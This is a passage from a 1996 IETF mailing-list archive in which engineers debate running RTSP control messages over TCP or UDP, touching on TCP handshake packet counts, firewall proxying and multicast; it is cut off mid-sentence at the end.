----------------------------------------------------------------------------
----------------------------

5. You may like to think about the situation of a re-caster.  A re-caster is
an agent that re-broadcasts a live feed to reduce backbone bandwidth.  These
are usful where multi-cast is not available.  A re-caster serving many
connected clients on a stream arguably deserves a higher priority and
bandwidth from a source provider than a single client.  A mechanism for
specifying and updating a count of connected clients would be useful
information for a server to decide on its priorities.


Hope this is useful.

Sorry I seem to have lost your last email about which mailing list to send
this to.  If you would like to subscribe me to it, I will post to there in
future.

Regards

Adrien de Croy

-------------------------------------------------------------------------------
Adrien de Croy - adrien@qbik.com.  Qbik Software Limited, Auckland, New Zealand
                 See our pages and learn about WinGate at http://www.qbik.com/
-------------------------------------------------------------------------------


From majordom@ISI.EDU  Wed Oct 16 10:21:53 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25652>; Wed, 16 Oct 1996 17:21:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25646>; Wed, 16 Oct 1996 17:21:55 -0700
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA05447>; Wed, 16 Oct 1996 17:21:54 -0700
Received: from ash.isi.edu (ash-a.isi.edu) by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25640>; Wed, 16 Oct 1996 17:21:54 -0700
Date: Wed, 16 Oct 1996 17:21:53 -0700
From: touch@ISI.EDU
Posted-Date: Wed, 16 Oct 1996 17:21:53 -0700
Message-Id: <199610170021.AA06666@ash.isi.edu>
Received: by ash.isi.edu (5.65c/4.0.3-6)
	id <AA06666>; Wed, 16 Oct 1996 17:21:53 -0700
To: schulzrinne@cs.columbia.edu, tim@boxtop.com, karl@precept.com
Subject: Re: Transaction packet count  Was: Re: Re : RTSP
Cc: confctrl@ISI.EDU
X-Auto-Sig-Adder-By: faber@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Bob Braden told me that his analysis of TCP in BSD was
10 packets for a simple exchange, which could be optimized 
down to 6:

Here are the 10:

	SYN ->
		<- SYN+ACK
	ACK ->
	(request)->
		<- ACK
		<- (response)
	ACK ->
	FIN ->
		<- FIN+ACK
	ACK ->

Down to 6:

	SYN ->
		<- SYN+ACK
	ACK+(request)->
		<- ACK+(response)
	FIN+ACK ->
		<- FIN+ACK
	ACK ->

 or

	SYN+(request) ->
		<- SYN+ACK
	ACK ->
		<- ACK+(response)
	FIN+ACK ->
		<- FIN+ACK
	ACK ->

Whether you piggyback onto outgoing data or not depends on 
whether you stall the ACKs in hopes of getting data to
send along too.

The other problem is that you'd like to send a

	SYN+(request)+FIN ->

but then the next packet would be

		<- SYN+ACK+FIN

and the connection would close before the data would be delivered to
the application (must wait for the ACK after the SYN, three-way
handshake for TCP).

How do you get this down further??

Joe
----------------------------------------------------------------------
Joe Touch - touch@isi.edu		    http://www.isi.edu/~touch/
ISI / Project Leader, ATOMIC-2, LSAM       http://www.isi.edu/atomic2/
USC / Research Assistant Prof.                http://www.isi.edu/lsam/

From majordom@ISI.EDU  Wed Oct 16 11:45:05 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28896>; Wed, 16 Oct 1996 18:44:59 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28887>; Wed, 16 Oct 1996 18:44:58 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA09659>; Wed, 16 Oct 1996 18:44:57 -0700
Received: from little-toot.precept.com by precept.com (5.x/SMI-4.1)
	id AA14245; Wed, 16 Oct 1996 18:44:51 -0700
Message-Id: <9610170144.AA14245@precept.com>
From: "Karl Auerbach" <karl@precept.com>
To: <touch@ISI.EDU>, <schulzrinne@cs.columbia.edu>, <tim@boxtop.com>
Cc: <confctrl@ISI.EDU>
Subject: Re: Transaction packet count  Was: Re: Re : RTSP
Date: Wed, 16 Oct 1996 18:45:05 -0700
X-Msmail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1155
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> Bob Braden told me that his analysis of TCP in BSD was
> 10 packets for a simple exchange, which could be optimized 
> down to 6:

With respect to the actual packet cost of transactions over TCP, I think
that we should assume that TCP connection setup and teardown are done "a
long time ago" and "a long time in the future".  In other words, let's
ignore the cost of TCP startup and teardown handshakes and assume that the
packet cost of TCP startup/teardown, when amortized over a number of
application data transactions, approaches zero and may consequently be
ignorred.

		--karl--


From majordom@ISI.EDU  Wed Oct 16 13:30:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01551>; Wed, 16 Oct 1996 20:30:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01539>; Wed, 16 Oct 1996 20:30:52 -0700
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13642>; Wed, 16 Oct 1996 20:30:52 -0700
Received: from ash.isi.edu (ash-a.isi.edu) by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01534>; Wed, 16 Oct 1996 20:30:51 -0700
Date: Wed, 16 Oct 1996 20:30:51 -0700
From: touch@ISI.EDU
Posted-Date: Wed, 16 Oct 1996 20:30:51 -0700
Message-Id: <199610170330.AA11464@ash.isi.edu>
Received: by ash.isi.edu (5.65c/4.0.3-6)
	id <AA11464>; Wed, 16 Oct 1996 20:30:51 -0700
To: karl@precept.com, schulzrinne@cs.columbia.edu, tim@boxtop.com,
        touch@ISI.EDU
Subject: Re: Transaction packet count  Was: Re: Re : RTSP
Cc: confctrl@ISI.EDU
X-Auto-Sig-Adder-By: faber@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> > Bob Braden told me that his analysis of TCP in BSD was
> > 10 packets for a simple exchange, which could be optimized 
> > down to 6:
> 
> With respect to the actual packet cost of transactions over TCP, I think
> that we should assume that TCP connection setup and teardown are done "a
> long time ago" and "a long time in the future".  In other words, let's
> ignore the cost of TCP startup and teardown handshakes and assume that the
> packet cost of TCP startup/teardown, when amortized over a number of
> application data transactions, approaches zero and may consequently be
> ignorred.

I am stuck in HTTP-mode where every transaction
can be its own connection, which is what I outlined above.

(sorry if this confused matters)

Joe
----------------------------------------------------------------------
Joe Touch - touch@isi.edu		    http://www.isi.edu/~touch/
ISI / Project Leader, ATOMIC-2, LSAM       http://www.isi.edu/atomic2/
USC / Research Assistant Prof.                http://www.isi.edu/lsam/

From majordom@ISI.EDU  Wed Oct 16 14:20:50 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03371>; Wed, 16 Oct 1996 21:22:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03365>; Wed, 16 Oct 1996 21:22:33 -0700
Received: from hofmann.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-25)
	id <AA15665>; Wed, 16 Oct 1996 21:22:32 -0700
Received: from internaut.com (Cust8.Max15.Seattle.WA.MS.UU.NET [153.34.42.8]) by hofmann.CS.Berkeley.EDU (8.6.11/8.6.6.Beta11) with SMTP id VAA07050; Wed, 16 Oct 1996 21:22:29 -0700
Received: from [204.57.137.9] by internaut.com (NX5.67c/NeXT-3.0)
	id AA16801; Wed, 16 Oct 96 21:17:39 -0800
Received: by multi with Microsoft Mail
	id <01BBBBA7.E8FDCBA0@multi>; Wed, 16 Oct 1996 21:20:52 -0700
Message-Id: <01BBBBA7.E8FDCBA0@multi>
From: Bernard Aboba <aboba@internaut.com>
To: "confctrl@isi.edu" <confctrl@isi.edu>,
        "'Jeffrey D. Smith'"
	 <sumisu@nttlabs.com>
Subject: RE: RTSP - UDP and firewalls
Date: Wed, 16 Oct 1996 21:20:50 -0700
Encoding: 18 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Not really. In multicast use, RTSP is used to set up the multicast transmission,
which occurs via RTP over UDP. 

----------
From: 	Jeff Smith[SMTP:sumisu@nttlabs.com]
Sent: 	Wednesday, October 16, 1996 12:16 PM
To: 	confctrl@isi.edu
Subject: 	RTSP - UDP and firewalls

Just thinking about things a bit...

You are assuming that RTSP can be used with multicast and you make
the case the RTSP is TCP-based for the purpose of firewalls, is this not
contradictory?

js




From majordom@ISI.EDU  Wed Oct 16 15:22:59 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04809>; Wed, 16 Oct 1996 22:24:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04802>; Wed, 16 Oct 1996 22:24:02 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA17629>; Wed, 16 Oct 1996 22:24:01 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id WAA02673; Wed, 16 Oct 1996 22:23:59 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id FAA04125; Thu, 17 Oct 1996 05:23:00 GMT
Message-Id: <199610170523.FAA04125@ornette.nttlabs.com>
To: Bernard Aboba <aboba@internaut.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>
Subject: Re: RTSP - UDP and firewalls 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 16 Oct 1996 21:20:50 PDT"
References: <01BBBBA7.E8FDCBA0@multi> 
Date: Wed, 16 Oct 1996 22:22:59 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

My point was, if you are worried about firewalls and therefore using
TCP for the "control" protocol and then switch to UDP/multicast (which
has been "dismissed" as more difficult for firewalls) what have you
gained by using TCP (with regard to firewalls).

Maybe I'm totally missing the boat here, but if you are ultimately
going to use UDP for multicast what is the value in TCP for the
"setup."

Actually, I really shouldn't be posting reponses right now since I
just returned from the pub, but I had given this some thought earlier
today and just don't understand why one would give an excuse for using
TCP that wasn't valid for the entire "session."  Unless of course the
whole point is to use TCP-based RTSP for the streaming and forget
multicast altogether.

 |>Not really. In multicast use, RTSP is used to set up the multicast transmission,
 |>which occurs via RTP over UDP. 
 |>
 |>----------
 |>From: 	Jeff Smith[SMTP:sumisu@nttlabs.com]
 |>Sent: 	Wednesday, October 16, 1996 12:16 PM
 |>To: 	confctrl@isi.edu
 |>Subject: 	RTSP - UDP and firewalls
 |>
 |>Just thinking about things a bit...
 |>
 |>You are assuming that RTSP can be used with multicast and you make
 |>the case the RTSP is TCP-based for the purpose of firewalls, is this not
 |>contradictory?
 |>
 |>js
 |>
 |>
 |>
 |>


From majordom@ISI.EDU  Fri Oct 18 07:39:58 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05183>; Wed, 16 Oct 1996 22:38:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05177>; Wed, 16 Oct 1996 22:38:16 -0700
Received: from beast.qbik.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18017>; Wed, 16 Oct 1996 22:38:07 -0700
Received: from bertha (127.0.0.1) by 127.0.0.1
 (EMWAC SMTPRS 0.81) with SMTP id <B0000034694@127.0.0.1>;
 Thu, 17 Oct 1996 18:40:24 +1300
Message-Id: <2.2.32.19961017053958.00931a24@wingate>
X-Sender: adrien#wingate:8110@wingate
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 17 Oct 1996 18:39:58 +1300
To: sumisu@nttlabs.com (Jeffrey D. Smith)
From: Adrien de Croy <adrien@qbik.com>
Subject: Re: RTSP - UDP and firewalls
Cc: confctrl@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:16 16/10/96 -0700, you wrote:
>Just thinking about things a bit...
>
>You are assuming that RTSP can be used with multicast and you make
>the case the RTSP is TCP-based for the purpose of firewalls, is this not
>contradictory?
>
>js
>

My 2c worth on this.

For firewalls, it becomes very difficult to implement a proxy for a protocol
where the protocol is not based on TCP or does not have a TCP component.
This is because the proxy must allocate resources for a client request, and
with UDP you get no information about when a request is completed (i.e close
on a socket in TCP), and hence you have a problem about when to deallocate
the resource - you can't tell when someone has finished unless you analyse
the protocol to the nth degree, and the protocol includes a sign-off process.

You can do things like UDP relaying, but this has to rely on things like an
inactivity timeout in order to deallocate resources, which is inefficient at
best, and can cause problems with high volume sites (I have seen them - real
easy to run out of sockets if you are even a couple of seconds out in your
estimate of when to terminate a client session).

It is however very easy to create a proxy for a protocol that contains a
mixture of protocols (i.e TCP and UDP).  You can use the TCP connection to
decide when to deallocate resources (i.e when the TCP connection closes,
shut down the UDP sockets as well).

Adrien
-------------------------------------------------------------------------------
Adrien de Croy - adrien@qbik.com.  Qbik Software Limited, Auckland, New Zealand
                 See our pages and learn about WinGate at http://www.qbik.com/
-------------------------------------------------------------------------------


From majordom@ISI.EDU  Thu Oct 17 11:03:47 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07202>; Thu, 17 Oct 1996 00:05:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07196>; Thu, 17 Oct 1996 00:05:34 -0700
Received: from sunset.ma.huji.ac.il by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20475>; Thu, 17 Oct 1996 00:05:26 -0700
Received: (from petrack@localhost) by sunset.ma.huji.ac.il (8.6.11/8.6.10) id JAA08046 for confctrl@isi.edu; Thu, 17 Oct 1996 09:03:47 +0200
Date: Thu, 17 Oct 1996 09:03:47 +0200
From: Scott Petrack <petrack@math.huji.ac.il>
Message-Id: <199610170703.JAA08046@sunset.ma.huji.ac.il>
To: confctrl@isi.edu
Subject: RTSP and TCP control 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


My experience shows that control messages over TCP can indeed
be delayed or worse because of flow control. This happens
typically when trying to get service from Israel to some
server in the US in the heavily loaded hours of the internet.
(There are often 14 hops between me and some server in the US).
By "worse" I mean that the delay is so bad that the connection
times out. This is because all the UDP stream traffic just
totally overwhelms TCP traffic. This is one of those things
that of course will be solved when the Messiah comes and
RED is deployed, but until then my very "real-world" 
experience suggests that using TCP will result in significantly
worse control function.

The problem is not so much a STOP message, since I can just stop
the playout locally. The problem occurs with things like 
fast forward or even worse, slow motion. Within the true hard
constraints of RTT, I would like to be able to play with
the control buttons (like pause, slow down, fast forward, etc.),
just like I could do at home. The constraint of RTT and jitter
are very limiting, but my experience shows that using TCP
in the control channel significantly reduces the amount of 
function I can get.

As Tim said, all I really want to do is synchronize the states 
of the two machines. I don't really need a reliable bytestream.

ABout the bandwidth of RTCP: I agree that every byte matters.
I tried to make this point in Montreal and got laughed at.
But the point here should be this: many applications want 
to get feedback between clients and servers about the statistics
of the transmission. RTCP should be viewed as the "Correct"
and "standard" way to do this. I personally have not yet
seen the C/RTCP spec, but I think that for compression it might
be reasonable to to allow applications to define wehich fields
in the sender reports and receiver reports are going to be
transmitted. This could be done in a RTCP packet which desscribes
and tailors the SR and RR, sort of a dynamic profile. The intent
would be that the current RR and SR are the "full" versions,
but that an app could announce at the beginning of a session 
that it is going to send a "partial" version.  Of course
this announcement would have to be acknowledged, but it would 
happen only once at the beginning of the session. If we can
agree upon some minimal version, then perhaps a static profile tpo
to tailor RR and SRs would be useful. I agree too that we
might want to be more flexible about how often to send RTCP.

But the basic fact, that RTCP is "the" way to  transmit 
packet statistics, I think should be maintained. I will try to
write up my experiments with tailoring RTCP for low bandwidth
soon.


From majordom@ISI.EDU  Thu Oct 17 10:20:57 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08736>; Thu, 17 Oct 1996 01:21:45 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08730>; Thu, 17 Oct 1996 01:21:42 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA05411>; Thu, 17 Oct 1996 01:21:41 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.07161-0@bells.cs.ucl.ac.uk>; Thu, 17 Oct 1996 09:21:06 +0100
To: tim@boxtop.com (Tim Dorcey)
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Re : RTSP
In-Reply-To: Your message of "Wed, 16 Oct 1996 10:11:32 PDT." <v02130502ae8ac3245d79@[204.119.208.85]>
Date: Thu, 17 Oct 1996 09:20:57 +0100
Message-Id: <1207.845540457@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >At 7:31 AM 10/16/96, Henning Schulzrinne wrote:
 
 >>As was pointed out before, the flow control issue is a red herring in
 >>this case. Your STOP message will not get delayed by flow control.

 >>Once the RTT measurement has adjusted right, TCP will discover a loss
 >>within the shortest time possible - a RTT (modulo timer resolution). The

 >Except that TCP will (should) err on the conservative side with respect to
 >retransmit.  I don't know what the exact parameterization is, but it's not
 >going to retransmit unless it is p% likely that loss has occurred.  The p
 >you want for generic transport is not the p you want in this case.

 >>only way to cut down that delay statistically is by repeating the STOP
 >>command a number of times within the RTT and hope that one of the
 >>packets makes it. That may be a worthwhile design for this application.

 >Yes, if the STOP scenario is really a practical concern, then it could be
 >addressed by having a UDP control channel available for repetition of
 >urgent messages.  This is probably an easier patch than rewriting the rest
 >of the protocol to deal with unreliable transport.

yes.....


if the application tries to send new data
 at less than 1 rtt, with a modest loss rate (e.g 5% or 10%:-)
you have a good chance you get repeated loss and are not only
retranmistting, but retransmit subsequent data packets which means the
rtx timer stays high (goes on getting higher), and it takes a long
time to get a packet through first time, and get a good  RTT estiamte
again....and reset the backoff on the RTX timer.....

with UDP, this problem goes away

if you want to incoproate "playback and record" features from a
distributed HTTPngng web site, in a multiway conference, you need 
multicast for your control protocol as well as your data....

i suggest RTSP has two mappings for control messages, one for TCP for
"media on demand" model usage, and one for UDP, for paricipation of a
storage/replay system in a multiway interactive scenario....


 jon


From majordom@ISI.EDU  Thu Oct 17 12:39:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12842>; Thu, 17 Oct 1996 03:44:41 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12836>; Thu, 17 Oct 1996 03:44:40 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA05800>; Thu, 17 Oct 1996 03:44:38 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.13303-0@bells.cs.ucl.ac.uk>; Thu, 17 Oct 1996 11:39:40 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: tim@boxtop.com (Tim Dorcey),
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Re : RTSP
In-Reply-To: Your message of "Thu, 17 Oct 1996 09:20:57 BST." <1207.845540457@cs.ucl.ac.uk>
Date: Thu, 17 Oct 1996 11:39:30 +0100
Message-Id: <14601.845548770@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>i suggest RTSP has two mappings for control messages, one for TCP for
>"media on demand" model usage, and one for UDP, for paricipation of a
>storage/replay system in a multiway interactive scenario....

I was starting to think along similar lines.  For most control
functionality, you require application level acknowledgements anyway -
you can't just assume that because you put a message into a TCP
connection that it has been acted upon yet.

Defining an RTSP so that it can work over UDP should be perfectly
feasible.  It should allow better control responses and the ability to
not care if some mesages get through or not (eg. UDP-resend if you
really need that functionality).  But there are also pragmatic reasons
why working over TCP is desirable (mostly to do with firewalls).

So it seems to me like we should design an RTS(control)P so that it
works over UDP (ie, has appropriate application-level acknowledgements
and each message is sufficiently idempotent), but is unambiguously
framed so it can also work over TCP too.

#include <wg-chair-hat>
Right now we're arguing in circles, and this isn't helping solve the
problem.  We've been in this situation before with SIP/SCIP and didn't
reach concensus.  It's beginning to look like the solution there is to
do the same thing.

Mark

From majordom@ISI.EDU  Thu Oct 17 13:55:35 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13896>; Thu, 17 Oct 1996 04:56:46 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13890>; Thu, 17 Oct 1996 04:56:42 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA06020>; Thu, 17 Oct 1996 04:56:41 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.18294-0@bells.cs.ucl.ac.uk>; Thu, 17 Oct 1996 12:55:44 +0100
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: tim@boxtop.com (Tim Dorcey),
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Re : RTSP
In-Reply-To: Your message of "Thu, 17 Oct 1996 11:39:30 BST." <14601.845548770@cs.ucl.ac.uk>
Date: Thu, 17 Oct 1996 12:55:35 +0100
Message-Id: <1996.845553335@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


#include <iab-hat>
char *greeting = ":-)"

 >So it seems to me like we should design an RTS(control)P so that it
 >works over UDP (ie, has appropriate application-level acknowledgements
 >and each message is sufficiently idempotent), but is unambiguously
 >framed so it can also work over TCP too.

yes.....exactly

 >#include <wg-chair-hat>
 >Right now we're arguing in circles, and this isn't helping solve the
 >problem.  We've been in this situation before with SIP/SCIP and didn't
 >reach concensus.  It's beginning to look like the solution there is to
 >do the same thing.

yes.....
i think you can easily define a retrieval/playback application level
protocol which can have a TCP mapping for one to one, and a UDP
mapping for one to many or participatory playback, and an 
IPv6onATM+UDP+RSVP one for ng fanatics

and there's no reason RTSP couldn't be the start....


 jon


From majordom@ISI.EDU  Thu Oct 17 00:24:41 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16977>; Thu, 17 Oct 1996 07:26:06 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16971>; Thu, 17 Oct 1996 07:26:04 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA02328>; Thu, 17 Oct 1996 07:26:03 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id HAA12972; Thu, 17 Oct 1996 07:26:01 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id OAA04620; Thu, 17 Oct 1996 14:24:41 GMT
Message-Id: <199610171424.OAA04620@ornette.nttlabs.com>
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: Mark Handley <M.Handley@cs.ucl.ac.uk>, tim@boxtop.com (Tim Dorcey),
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Re : RTSP 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Thu, 17 Oct 1996 12:55:35 BST"
References: <1996.845553335@cs.ucl.ac.uk> 
Date: Thu, 17 Oct 1996 07:24:41 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

If those here in the Bay Area are interested I would like to arrange a
meeting between Netscape, Progressive, Steve Casner, myself and other
in the area and maybe we can work out details of a TCP and UDP
RTS(control)P before IETF.

My biggest stumbling block regarding the protocol I'm working on is
that while I understand our application I admit I don't think much
about other applications such as the video/audio-on-demand class of
apps.

I'm at NANOG next week (and I'm sure a number of important others are
in France for the WEB/Multimedia thing) so how does the week of 10/28
look for any who might be interested?

We (NTT) has a very useful collaboration room for about 5-8 people
(which is about the number I envision coming) and it is available.

js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

 |>#include <iab-hat>
 |>char *greeting = ":-)"
 |>
 |> >So it seems to me like we should design an RTS(control)P so that it
 |> >works over UDP (ie, has appropriate application-level acknowledgements
 |> >and each message is sufficiently idempotent), but is unambiguously
 |> >framed so it can also work over TCP too.
 |>
 |>yes.....exactly
 |>
 |> >#include <wg-chair-hat>
 |> >Right now we're arguing in circles, and this isn't helping solve the
 |> >problem.  We've been in this situation before with SIP/SCIP and didn't
 |> >reach concensus.  It's beginning to look like the solution there is to
 |> >do the same thing.
 |>
 |>yes.....
 |>i think you can easily define a retrieval/playback application level
 |>protocol which can have a TCP mapping for one to one, and a UDP
 |>mapping for one to many or participatory playback, and an 
 |>IPv6onATM+UDP+RSVP one for ng fanatics
 |>
 |>and there's no reason RTSP couldn't be the start....
 |>
 |>
 |> jon
 |>
 |>


From majordom@ISI.EDU  Thu Oct 17 06:18:41 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17394>; Thu, 17 Oct 1996 07:42:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17388>; Thu, 17 Oct 1996 07:42:56 -0700
Received: from tis-mail.thepoint.net (tis-backup.thepoint.net) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA02868>; Thu, 17 Oct 1996 07:42:54 -0700
Received: by tis-mail.thepoint.net with Microsoft Exchange (IMC 4.0.837.3)
	id <01BBBC17.F1F44D90@tis-mail.thepoint.net>; Thu, 17 Oct 1996 10:42:51 -0400
Message-Id: <c=US%a=_%p=ThePoint_Interne%l=TIS_MAIL-961017141841Z-2233@tis-mail.thepoint.net>
From: Arlie Davis <arlie@thepoint.net>
To: "'karl@precept.com'" <karl@precept.com>,
        "'schulzrinne@cs.columbia.edu'"
	 <schulzrinne@cs.columbia.edu>,
        "'tim@boxtop.com'"
	 <tim@boxtop.com>,
        "'touch@ISI.EDU'" <touch@ISI.EDU>
Cc: "'confctrl@ISI.EDU'" <confctrl@isi.edu>
Subject: RE: Transaction packet count  Was: Re: Re : RTSP
Date: Thu, 17 Oct 1996 10:18:41 -0400
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>----------
>From: 	touch@ISI.EDU[SMTP:touch@ISI.EDU]
>Sent: 	Wednesday, October 16, 1996 11:30 PM
>To: 	karl@precept.com; schulzrinne@cs.columbia.edu; tim@boxtop.com;
>touch@ISI.EDU
>Cc: 	confctrl@ISI.EDU
>Subject: 	Re: Transaction packet count  Was: Re: Re : RTSP
>
>I am stuck in HTTP-mode where every transaction
>can be its own connection, which is what I outlined above.

True.  Don't forget, though, that many HTTP clients and servers support
keep-alive now, which uses the TCP connection for more than one
transaction.

>
>

From majordom@ISI.EDU  Fri Oct 18 16:57:12 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17868>; Thu, 17 Oct 1996 07:55:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17862>; Thu, 17 Oct 1996 07:55:21 -0700
Received: from beast.qbik.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA03552>; Thu, 17 Oct 1996 07:55:19 -0700
Received: from bertha (127.0.0.1) by 127.0.0.1
 (EMWAC SMTPRS 0.81) with SMTP id <B0000034802@127.0.0.1>;
 Fri, 18 Oct 1996 03:57:35 +1300
Message-Id: <2.2.32.19961017145712.00926d48@wingate>
X-Sender: adrien#wingate:8110@wingate
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 18 Oct 1996 03:57:12 +1300
To: tim@boxtop.com (Tim Dorcey),
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
From: Adrien de Croy <adrien@qbik.com>
Subject: Re: Re : RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi all, hope you don't mind me butting in on this conversation.

At 11:39 17/10/96 +0100, you wrote:
>
>>i suggest RTSP has two mappings for control messages, one for TCP for
>>"media on demand" model usage, and one for UDP, for paricipation of a
>>storage/replay system in a multiway interactive scenario....
>
>I was starting to think along similar lines.  For most control
>functionality, you require application level acknowledgements anyway -
>you can't just assume that because you put a message into a TCP
>connection that it has been acted upon yet.
>
>Defining an RTSP so that it can work over UDP should be perfectly
>feasible.  It should allow better control responses and the ability to
>not care if some mesages get through or not (eg. UDP-resend if you
>really need that functionality).  But there are also pragmatic reasons
>why working over TCP is desirable (mostly to do with firewalls).

There is a very strong reason why you should seriously consider the
implications before rejecting a TCP-based control protocol.

The SOCKS5 protocol (RFC1928) which is in common use now for access through
firewalls, has UDP support, but only at a limited level.  You can only
